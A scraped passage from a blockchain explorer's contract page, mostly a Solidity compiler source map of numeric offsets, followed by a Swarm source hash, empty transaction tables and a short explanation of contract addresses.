3:::1;:31;:::i;:::-;3446:13;;;;:::i;:::-;10967:33;;10925:78;11019:41;11040:19;11019:20;:41::i;:::-;11105:21;11147:23:::0;;11143:192:::1;;11235:10;::::0;:49:::1;::::0;11191:12:::1;::::0;-1:-1:-1;;;;;11235:10:0::1;::::0;11259:19;;11191:12;11235:49;11191:12;11235:49;11259:19;11235:10;:49:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11222:62;;;;;11311:7;11303:16;;;::::0;::::1;;11172:163;11143:192;10910:436;10854:492;-1:-1:-1::0;4815:7:0;:15;;-1:-1:-1;;4815:15:0;;;10726:627::o;9251:1094::-;9398:12;;9344:7;;;;9398:12;;;;;:43;;;;-1:-1:-1;;;;;;9415:26:0;;;;;;:18;:26;;;;;;;;9414:27;9398:43;:77;;;;-1:-1:-1;;;;;;9446:29:0;;;;;;:18;:29;;;;;;;;9445:30;9398:77;9394:915;;;-1:-1:-1;;;;;9512:14:0;;;;;;:6;:14;;;;;;;;;:35;;-1:-1:-1;;;;;;9530:17:0;;;;;;:6;:17;;;;;;;;9512:35;9508:790;;;9611:15;;9599:9;;:27;9598:61;;9645:14;;9598:61;;;9630:12;;9598:61;9581:12;9590:3;9581:6;:12;:::i;:::-;9580:80;;;;:::i;:::-;9698:14;;9568:92;;-1:-1:-1;;;;;;9685:27:0;;;9698:14;;9685:27;:54;;;;-1:-1:-1;;;;;;9716:23:0;;9734:4;9716:23;;9685:54;9681:602;;;9764:15;9857:9;;9836:18;;:30;;;;:::i;:::-;9824:9;:42;9905:21;;9893:9;;:33;9889:316;;;-1:-1:-1;9965:13:0;;9889:316;;;10024:16;;10012:9;;:28;10008:197;;;-1:-1:-1;10079:20:0;;10008:197;;;-1:-1:-1;10166:15:0;;10008:197;10256:7;10240:12;10249:3;10240:6;:12;:::i;:::-;10239:24;;;;:::i;:::-;10227:36;10328:9;-1:-1:-1;;;;;;9251:1094:0:o;7669:246::-;7762:4;7742:26;;;;:11;:26;;;;;;;;3590:42;7742:51;;;;;;;;:66;-1:-1:-1;7738:170:0;;;7845:4;7825:26;;;;:11;:26;;;;;;;;3590:42;7825:51;;;;;;;-1:-1:-1;;7825:71:0;;7669:246;:::o;10353:365::-;10423:30;10441:11;10423:17;:30::i;:::-;10488:16;;;10502:1;10488:16;;;;;;;;10464:21;;10488:16;;;;;;;;;;-1:-1:-1;10488:16:0;10464:40;;10533:4;10515;10520:1;10515:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10515:23:0;;;:7;;;;;;;;;;:23;;;;10559:16;;:23;;;-1:-1:-1;;;10559:23:0;;;;:16;;;;;:21;;:23;;;;;10515:7;;10559:23;;;;;:16;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10549:4;10554:1;10549:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10549:33:0;;;:7;;;;;;;;;:33;10593:16;;:117;;-1:-1:-1;;;10593:117:0;;:16;;;:67;;:117;;10661:11;;10593:16;;10675:4;;10688;;10694:15;;10593:117;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10412:306;10353:365;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:340::-;4790:2;4772:21;;;4829:2;4809:18;;;4802:30;-1:-1:-1;;;4863:2:1;4848:18;;4841:46;4919:2;4904:18;;4588:340::o;4933:128::-;5000:9;;;5021:11;;;5018:37;;;5035:18;;:::i;5066:348::-;5268:2;5250:21;;;5307:2;5287:18;;;5280:30;5346:26;5341:2;5326:18;;5319:54;5405:2;5390:18;;5066:348::o;7018:251::-;7088:6;7141:2;7129:9;7120:7;7116:23;7112:32;7109:52;;;7157:1;7154;7147:12;7109:52;7189:9;7183:16;7208:31;7233:5;7208:31;:::i;8157:184::-;8227:6;8280:2;8268:9;8259:7;8255:23;8251:32;8248:52;;;8296:1;8293;8286:12;8248:52;-1:-1:-1;8319:16:1;;8157:184;-1:-1:-1;8157:184:1:o;8346:125::-;8411:9;;;8432:10;;;8429:36;;;8445:18;;:::i;9215:135::-;9254:3;9275:17;;;9272:43;;9295:18;;:::i;:::-;-1:-1:-1;9342:1:1;9331:13;;9215:135::o;9967:306::-;10055:6;10063;10071;10124:2;10112:9;10103:7;10099:23;10095:32;10092:52;;;10140:1;10137;10130:12;10092:52;10169:9;10163:16;10153:26;;10219:2;10208:9;10204:18;10198:25;10188:35;;10263:2;10252:9;10248:18;10242:25;10232:35;;9967:306;;;;;:::o;10278:217::-;10318:1;10344;10334:132;;10388:10;10383:3;10379:20;10376:1;10369:31;10423:4;10420:1;10413:15;10451:4;10448:1;10441:15;10334:132;-1:-1:-1;10480:9:1;;10278:217::o;10632:127::-;10693:10;10688:3;10684:20;10681:1;10674:31;10724:4;10721:1;10714:15;10748:4;10745:1;10738:15;10764:980;11026:4;11074:3;11063:9;11059:19;11105:6;11094:9;11087:25;11131:2;11169:6;11164:2;11153:9;11149:18;11142:34;11212:3;11207:2;11196:9;11192:18;11185:31;11236:6;11271;11265:13;11302:6;11294;11287:22;11340:3;11329:9;11325:19;11318:26;;11379:2;11371:6;11367:15;11353:29;;11400:1;11410:195;11424:6;11421:1;11418:13;11410:195;;;11489:13;;-1:-1:-1;;;;;11485:39:1;11473:52;;11580:15;;;;11545:12;;;;11521:1;11439:9;11410:195;;;-1:-1:-1;;;;;;;11661:32:1;;;;11656:2;11641:18;;11634:60;-1:-1:-1;;;11725:3:1;11710:19;11703:35;11622:3;10764:980;-1:-1:-1;;;10764:980:1:o

Swarm Source

ipfs://9b10fb932ba3e5cd51e752eb17657c89839f35a604797bf1cbf2a73bb48485a5

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.